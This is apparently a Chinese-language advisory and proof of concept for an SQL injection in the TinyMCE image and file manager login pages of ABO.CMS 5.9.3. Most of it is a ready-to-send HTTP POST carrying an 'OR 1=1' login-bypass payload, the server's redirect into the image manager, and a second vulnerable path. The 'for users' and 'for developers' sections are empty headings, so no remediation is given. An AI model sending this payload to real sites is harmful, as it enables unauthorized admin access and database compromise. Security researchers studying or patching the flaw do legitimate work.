ABOCMS的TinyMCE模块中存在一个严重的SQL注入漏洞。该漏洞是由于TinyMCE模块与数据库交互时输入清理不足导致的,允许攻击者注入恶意的SQL查询。这可能导致未经授权的数据访问、修改,甚至完全入侵底层数据库。
脆弱端点位于TinyMCE模块处理用户输入的过程中。攻击者可以利用此缺陷执行任意SQL命令。
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded
return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html
该漏洞可通过以下端点触发:
/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php
对于用户:
对于开发者:
此PoC仅用于教育和安全研究目的。未经所有者明确许可,请勿使用此代码对系统或网络造成损害。作者不对因使用此PoC导致的任何误用或损坏负责。